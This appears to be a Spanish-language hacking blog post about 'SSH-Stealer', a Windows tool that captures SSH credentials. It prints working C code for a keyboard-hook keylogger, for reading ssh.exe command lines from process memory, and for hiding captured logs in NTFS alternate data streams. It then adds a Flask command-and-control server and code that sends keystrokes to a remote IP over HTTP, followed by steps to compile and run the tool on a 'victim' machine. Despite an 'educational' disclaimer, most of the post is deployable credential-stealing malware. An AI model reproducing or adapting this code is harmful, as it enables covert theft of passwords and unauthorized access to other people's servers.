Hoy vamos a hablar de una técnica avanzada para capturar credenciales SSH en Windows de forma bastante sigilosa y sin dejar rastros evidentes.
Para ello, vamos a analizar SSH-Stealer, una herramienta de DarkSpaceSecurity que combina keylogging, detección de procesos y almacenamiento en ADS (Alternate Data Streams).
IMPORTANTE: Esto es con fines educativos. Tampoco me hago responsable si terminas en un exótico foro de hacking vendiendo credenciales.
SSH-Stealer está diseñado para interceptar credenciales SSH en sistemas Windows. Su funcionamiento se basa en tres técnicas clave:
- Hooking del teclado → Captura pulsaciones de teclas en tiempo real.
- Detección de procesos → Identifica cuándo se ejecuta
ssh.exe
y extrae argumentos. - Uso de Alternate Data Streams (ADS) → Almacena las credenciales de manera oculta en el sistema de archivos NTFS.
Veamos en detalle cómo funciona cada uno de estos elementos.
Hooking del teclado: Robando contraseñas en tiempo real
SSH-Stealer utiliza SetWindowsHookEx()
para interceptar las pulsaciones del usuario. Cada tecla presionada es analizada y almacenada en un buffer.
Aquí está la función clave del keylogger:
LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= HC_ACTION && shouldLog) {
PKBDLLHOOKSTRUCT kbdStruct = (PKBDLLHOOKSTRUCT)lParam;
int vkCode = kbdStruct->vkCode;
BOOL shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;
if (wParam == WM_KEYDOWN) {
char buffer[20] = { 0 };
if (vkCode >= 0x41 && vkCode <= 0x5A) {
sprintf_s(buffer, sizeof(buffer), "%c", shiftPressed ? vkCode : vkCode + 0x20);
} else if (vkCode == VK_RETURN) {
strcpy_s(buffer, sizeof(buffer), "\n");
}
appendToGlobalBuffer(buffer);
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
¿Cómo funciona?- Intercepta teclas antes de que lleguen a las aplicaciones.
- Filtra caracteres importantes, incluyendo letras y Enter.
- Almacena los datos en un buffer global sin levantar sospechas.
Este método es rápido, eficiente y casi indetectable para un usuario promedio.
Monitorización de procesos SSH
Además del keylogger, SSH-Stealer detecta cuando el usuario ejecuta SSH desde la terminal. La herramienta monitoriza los procesos en ejecución y busca ssh.exe
. Si se encuentra, extrae los argumentos pasados.
Aquí está la función encargada de analizar los parámetros de SSH:
int GetCommandLineByPID(DWORD pid) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
if (!hProcess) return -1;
_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION pbi;
NTSTATUS status = NtQueryInformationProcess(hProcess, 0, &pbi, sizeof(pbi), NULL);
if (status != 0) {
CloseHandle(hProcess);
return -1;
}
WCHAR* commandLine = (WCHAR*)malloc(1024);
ReadProcessMemory(hProcess, pbi.PebBaseAddress, commandLine, 1024, NULL);
int argc;
LPWSTR* argv = CommandLineToArgvW(commandLine, &argc);
for (int i = 0; i < argc; i++) {
if (wcscmp(argv[i], L"-i") == 0 && (i + 1 < argc)) {
WriteREDToADS("Uso de clave privada detectado!\n");
return 1;
}
}
return 0;
}
¿Qué hace esta función?
- Abre el proceso de SSH y extrae su línea de comandos.
- Busca argumentos sensibles como
-i
(que indica autenticación con clave privada). - Registra los datos en un flujo de ADS, escondiendo la evidencia.
Este método es brutalmente efectivo para capturar credenciales sin necesidad de modificar el binario de SSH.
Escondiendo credenciales en Alternate Data Streams (ADS)
Los ADS en NTFS permiten ocultar información dentro de archivos sin modificar su tamaño visible. SSH-Stealer aprovecha esto para guardar credenciales sin ser detectado.
El siguiente código escribe datos capturados en un ADS dentro de desktop.ini
:
void WriteToADS(const char* data) {
HANDLE hFile = CreateFileA(ADS_FILE_PATH, FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD bytesWritten;
WriteFile(hFile, data, strlen(data), &bytesWritten, NULL);
CloseHandle(hFile);
}
}
¿Por qué usar ADS?- Los archivos ocultos en ADS no aparecen en el Explorador de Windows.
- El tamaño del archivo principal no cambia, evitando sospechas.
- Solo herramientas avanzadas pueden detectarlo, como
dir /r
.
Para recuperar los datos ocultos, simplemente ejecutamos:
notepad C:\Users\victima\desktop.ini:hidden.log
¿Cómo ejecutarlo?
SSH-Stealer corre de forma persistente en segundo plano, esperando a que el usuario utilice SSH.
El flujo de ejecución es simple:
int main() {
InitializeADSPath();
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorProcess, NULL, 0, NULL);
HHOOK kbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProc, GetModuleHandle(NULL), 0);
if (!kbdHook) return 1;
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(kbdHook);
return 0;
}
Nota: Se recomienda compilarlo con Visual Studio y ejecutarlo con privilegios administrativos para máxima efectividad.
Demo
En conclusión SSH-Stealer es una herramienta sencilla poderosa que demuestra lo fácil que es robar credenciales SSH en Windows sin ser detectado. La combinación de keylogging, monitorización de procesos y ADS lo hace extremadamente sigiloso.
Puedes descargar SSH-Stealer desde GitHub y analizar su código aquí:
Extra: exfiltración a un C2
Vamos a mejorar SSH-Stealer añadiendo una exfiltración remota de credenciales muy sencilla, en lugar de dejarlo en un ADS local. Para ello, usaremos una petición HTTP POST a un servidor C2, porque es fácil de implementar y difícil de detectar sin análisis de tráfico avanzado.
Servidor C2 en Python
Primero, creamos un servidor en Python que recibirá las credenciales y las guardará en un archivo.
from flask import Flask, request
app = Flask(__name__)
@app.route('/log', methods=['POST'])
def log_data():
data = request.get_json()
if data and 'keylogs' in data:
with open("credenciales_robadas.txt", "a") as f:
f.write(data['keylogs'] + "\n")
return "OK", 200
return "Bad Request", 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
Este servidor debe ejecutarse en una VPS o en tu red local.
Cliente (Modificación de SSH-Stealer)
Ahora, modificamos nuestro malware para enviar los logs al servidor remoto.
void SendDataToC2(const char* data) {
HINTERNET hSession = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hSession) return;
HINTERNET hConnect = InternetConnect(hSession, "192.168.1.100", INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hConnect) {
InternetCloseHandle(hSession);
return;
}
HINTERNET hRequest = HttpOpenRequest(hConnect, "POST", "/log", NULL, NULL, NULL, INTERNET_FLAG_RELOAD, 0);
if (!hRequest) {
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
return;
}
char headers[] = "Content-Type: application/json\r\n";
char body[512];
sprintf(body, "{\"keylogs\":\"%s\"}", data);
HttpSendRequest(hRequest, headers, strlen(headers), body, strlen(body));
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
}
Importante: Cambia la IP 192.168.1.100 por la de tu servidor.
¿Qué hace esto?
- Establece una conexión HTTP con nuestro servidor de C2.
- Envía las credenciales interceptadas en formato JSON.
- Usa la API de Windows WinINet para no levantar sospechas.
Integración en el Keylogger
Ahora, llamamos a SendDataToC2()
desde el hook del teclado cada vez que capturamos credenciales SSH.
LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= HC_ACTION && shouldLog) {
PKBDLLHOOKSTRUCT kbdStruct = (PKBDLLHOOKSTRUCT)lParam;
int vkCode = kbdStruct->vkCode;
BOOL shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;
if (wParam == WM_KEYDOWN) {
char buffer[20] = { 0 };
if (vkCode >= 0x41 && vkCode <= 0x5A) {
sprintf_s(buffer, sizeof(buffer), "%c", shiftPressed ? vkCode : vkCode + 0x20);
} else if (vkCode == VK_RETURN) {
strcpy_s(buffer, sizeof(buffer), "\n");
}
appendToGlobalBuffer(buffer);
// Enviar datos cada 20 teclas capturadas
if (strlen(globalBuffer) > 20) {
SendDataToC2(globalBuffer);
memset(globalBuffer, 0, sizeof(globalBuffer));
}
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
Cómo compilarlo y ejecutarlo
Compila SSH-Stealer con Visual Studio o MinGW:x86_64-w64-mingw32-gcc ssh_stealer.c -o ssh_stealer.exe -lwininet
python3 c2_server.py
Ejecuta SSH-Stealer en la máquina víctima.Resultados: Credenciales en tiempo real
Cada vez que la víctima escriba su contraseña SSH, los datos serán enviados a nuestro servidor en tiempo real:
cat credenciales_robadas.txt
root@192.168.1.20
mypassword123
admin@sshserver.com
hunter2
¡Boom! Credenciales exfiltradas sin dejar rastros locales.
Comentarios
Publicar un comentario